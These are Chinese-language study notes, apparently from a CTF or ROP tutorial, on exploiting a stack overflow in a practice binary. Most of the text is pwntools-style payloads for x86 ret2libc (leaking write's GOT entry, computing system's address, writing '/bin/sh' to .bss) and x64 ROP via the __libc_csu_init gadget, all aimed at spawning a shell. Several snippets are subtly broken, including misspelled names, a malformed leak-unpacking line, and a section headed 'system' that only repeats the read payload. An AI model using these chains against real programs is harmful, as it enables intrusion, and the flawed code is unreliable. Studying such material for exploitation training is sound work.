栈执行保护---------->调用libc.so system("/bin/sh")
关闭ASLR system在内存中的地址不会变化
如果elf中调用了print和read,那么我们就可以搜索内存直接调用。
如果开启ASLR, 我们可以根据got得到print@plt和system在libc.so中的偏移得到system
的地址。
read@plt write@plt
当然 /bin/sh 字符串也可以在libc.so中的到。
所以关键就是得到libc.so的偏移。
1.溢出点位置测试,
1) python pattern.py create 150生成字符串
2) python pattren.py offset 0x37654136
140
.......................................................................... 低地址
+
+
esp---> buf->........ //局部变量,保存的寄存器 + <-+
....... + +
esp---> ebp 保存的ebp //offset 0x37654136 140 + +
ret // 144 + [esp-144]
参数1 +
参数2 +
参数..... +
....................................................................... 高地址
ssize_t write(int fd,const void *buf,size_t nbytes)
payload1 = ‘a’*140+p32(plt_wrtie)+p32(vulfun_addr)+p32(1)+p32(got_write)
.......................................................................... 低地址
+
+
esp---> buf->........ //'a'*140 + <-+
....... + +
esp---> ebp 保存的ebp // +
ret // p32(plt_wrtie) //可调用 + [esp-144]
参数1 p32(vulfun_addr) + //ret指向新函数增加一个返回函数
参数2 p32(1) +
参数..... p32(got_write) +
....... p32(4)
....................................................................... 高地址
write_addr = p32.(p.recv(4))
system_addr = write_addr - (libc.symbols[‘write’]-libc.symbols[‘system’])
payload2 = ‘a’*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')
.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。
bss_addr = 0x0804a020
pppr = 0x804855d
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) //read三个参数
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
p.send(payload2)
p.send("/bin/sh\0")
linux_x64_ROP
x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,程序使用的内存地址不能大于0x00007fffffffffff
libc.so __libc_csu_init()
4005f0: 4c 89 fa mov %r15,%rdx <----------------------------
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx <----------------------------
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq
write write.got
#!bash
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
read /bin/sh
#!bash
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
system
#!bash
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)